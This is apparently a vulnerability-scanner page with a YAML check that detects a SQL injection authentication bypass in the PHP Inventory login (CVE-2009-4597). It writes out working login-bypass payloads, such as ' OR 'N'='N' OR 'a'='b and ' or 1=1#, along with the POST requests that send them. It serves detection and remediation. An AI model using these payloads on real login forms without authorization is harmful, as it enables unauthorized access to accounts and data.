PHP Inventory — 1 vulnerability check

noctis ships 1 vulnerability check for PHP Inventory, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PHP Inventory index.php login SQL injection authentication bypass

CVECVE-2009-4597
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/php-inventory/CVE-2009-4597.yaml

Requests index.php in the web root and under /php-inventory and, when the page is the PHP Inventory login page (inventory product marker and a form with user and pass fields), posts three logins to index.php without following redirects: a wrong random login, a login whose user field ends with an always-true SQL condition (<random>' OR 'N'='N' OR 'a'='b), and one whose user field ends with an always-false condition (<random>' OR 'N'='M' OR 'a'='b), all with a random password. The finding fires when the always-true login is redirected to index.php (the page a good login opens) while the wrong and always-false logins are not redirected and answer identically, which proves the user field is evaluated inside the login SQL query and the password check can be bypassed. The requests are ordinary login attempts with random user names; no data is read or changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/index.php with a crafted body
  5. HTTP(S) request POST {{dir}}/index.php with a crafted body
  6. HTTP(S) request POST {{dir}}/index.php with a crafted body
  7. Parses / computes the next value with a Rhai script
  8. Checks v.st for . → finding QoD 75: PHP Inventory index.php login SQL injection authentication bypass

References:

Feed source — tests/vulnerabilities/php-inventory/CVE-2009-4597.yaml
# PHP Inventory index.php login SQL injection authentication bypass (CVE-2009-4597).
#
# Reference check: OpenVAS/Greenbone NVT `2011/gb_php_inventory_sql_inj_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.802534, GPL-2.0-only). It requests index.php in "/" and
# "/php-inventory", then POSTs user=admin&pass=' or 1=1# and reports a 302 reply with
# "Location: index.php". Source of PHP Inventory 1.x is not reachable (SourceForge project
# gone); the sink is taken from the NVD record: the user and pass fields of index.php
# reach the login SQL query unescaped.
#
# CVE mapping: the issue lists CVE-2009-4595 (sup_id SQLi, authenticated), 4596 (sup_id
# XSS) and 4597 (user_id / user / pass SQLi). Only the login fields (4597) are probed here.
#
# Differences from the reference check:
#   - It needs a real account named admin and only fires on a login that answers 302 to
#     index.php, so any app redirecting every POST there is a FP. This feed injects into the
#     user field with a random name, and compares three logins (wrong, always-true,
#     always-false control, sent last so a lockout fails closed).
#   - The payload ends in <rand>' OR 'N'='N' OR 'a'='b: valid without a comment marker
#     whichever order the query checks user and password, no MySQL-only "#".
# The requests are ordinary login attempts with random user names; at most a session is
# opened as the first account of the table; no data is read or changed.
# QoD 75: always-true login redirected to index.php (the logged-in page) while the wrong
#         and always-false logins are not redirected and look identical to each other.
uid: e7568c40-044e-48ee-a864-5920ebf14969
name: "PHP Inventory index.php login SQL injection authentication bypass"
description: >-
  Requests index.php in the web root and under /php-inventory and, when the page is the
  PHP Inventory login page (inventory product marker and a form with user and pass fields),
  posts three logins to index.php without following redirects: a wrong random login, a
  login whose user field ends with an always-true SQL condition
  (<random>' OR 'N'='N' OR 'a'='b), and one whose user field ends with an always-false
  condition (<random>' OR 'N'='M' OR 'a'='b), all with a random password. The finding fires
  when the always-true login is redirected to index.php (the page a good login opens) while
  the wrong and always-false logins are not redirected and answer identically, which proves
  the user field is evaluated inside the login SQL query and the password check can be
  bypassed. The requests are ordinary login attempts with random user names; no data is
  read or changed.
category: sqli
cves: [CVE-2009-4597]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [php-inventory, php, sqli, auth-bypass, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4597"
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4595"
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4596"

steps:
  - id: gen
    action: script
    code: |
      let n = rand_int(1000, 9999);
      #{ u0: rand_str(8), p0: rand_str(10), u: rand_str(8), p: rand_str(10), p2: rand_str(10),
         n: n, f: n + 1 }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/php-inventory"]

  - id: init-wrong
    action: set_var
    var_name: wrong
    var_value: {status: 0, body: ""}

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: ""}

  - id: page
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  - id: fp
    action: script
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      page.status == 200
        && ereg("inventory", b, true)
        && ereg("<input[^>]*name\\s*=\\s*[\"']?user[\"' >]", b, true)
        && ereg("<input[^>]*name\\s*=\\s*[\"']?pass[\"' >]", b, true)
    store_as: is_inv

  # 1. Plain wrong login: the reference rejection.
  - id: wrong
    action: http_request
    method: POST
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_inv"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "user={{rv.u0}}&pass={{rv.p0}}"
    store_as: wrong

  # 2. Injection: always-true condition between two ORs in Username.
  - id: inject
    action: http_request
    method: POST
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_inv"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "user={{rv.u}}%27+OR+%27{{rv.n}}%27%3D%27{{rv.n}}%27+OR+%27a%27%3D%27b&pass={{rv.p}}"
    store_as: inj

  # 3. Control: false condition of the same shape — must be rejected like 1. Sent last,
  # so a lockout or throttle after repeated failures changes it and the check fails closed.
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_inv"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "user={{rv.u}}%27+OR+%27{{rv.n}}%27%3D%27{{rv.f}}%27+OR+%27a%27%3D%27b&pass={{rv.p2}}"
    store_as: ctl

  - id: verdict
    action: script
    code: |
      fn loc_of(r) {
        if type_of(r) == "map" && type_of(r.headers) == "map" && type_of(r.headers["location"]) == "string" {
          return r.headers["location"];
        }
        ""
      }
      fn path_of(r) {
        let loc = loc_of(r);
        let q = loc.index_of("?");
        if q >= 0 { loc = loc.sub_string(0, q); }
        loc
      }
      fn body_of(r) {
        if type_of(r) == "map" && type_of(r.body) == "string" { r.body } else { "" }
      }
      fn answered(r) {
        type_of(r) == "map" && r.status > 0 && r.status < 400
      }
      // Redirected to index.php, the page a good login opens.
      fn landed(r) {
        answered(r) && r.status >= 300 && ereg("(^|/)index\\.php$", path_of(r), true)
      }
      fn outcome(r) {
        if type_of(r) != "map" || r.status == 0 { return ""; }
        let form = if ereg("type\\s*=\\s*[\"']?password", body_of(r), true) { "form" } else { "noform" };
        "" + r.status + " " + path_of(r) + " " + form
      }
      let o1 = outcome(wrong);
      let o2 = outcome(ctl);
      let o3 = outcome(inj);
      let ok = is_inv && o1 != "" && o2 != "" && o3 != "";
      // True login redirected to index.php, wrong and false logins not, and the false one
      // answered exactly like the wrong one.
      let diff = ok && landed(inj) && !landed(wrong) && !landed(ctl) && o1 == o2;
      #{ diff: diff, o1: o1, o2: o2, o3: o3, st: if diff { o3 } else { "" } }
    store_as: v

  - id: sqli-login-differential
    action: match
    source: v.st
    pattern: "."
    condition: "v.diff"
    on_match:
      finding:
        title: "PHP Inventory index.php login SQL injection authentication bypass"
        description: "The PHP Inventory login page index.php evaluates the user field inside its SQL query: a login whose user field ends with an always-true condition is accepted with a random password and redirected to index.php, while the same login with an always-false condition is rejected like a wrong password. An unauthenticated attacker can bypass the password check and inject SQL into the login query."
        confidence_delta: 0.55
        qod: 75
        evidence: "POST {{dir}}/index.php with user ending in ' OR '{{rv.n}}'='{{rv.n}}' OR 'a'='b and a random password gave [{{v.o3}}] (redirect to index.php), while the false condition '{{rv.n}}'='{{rv.f}}' gave [{{v.o2}}], identical to a plain wrong login [{{v.o1}}] (status, redirect target, login form)."
        remediation: "Upgrade PHP Inventory to 1.3.2 or later, or restrict access to its web interface to trusted hosts, and make the login query use escaped or parameterised values."
      stop: true

View these feeds on GitHub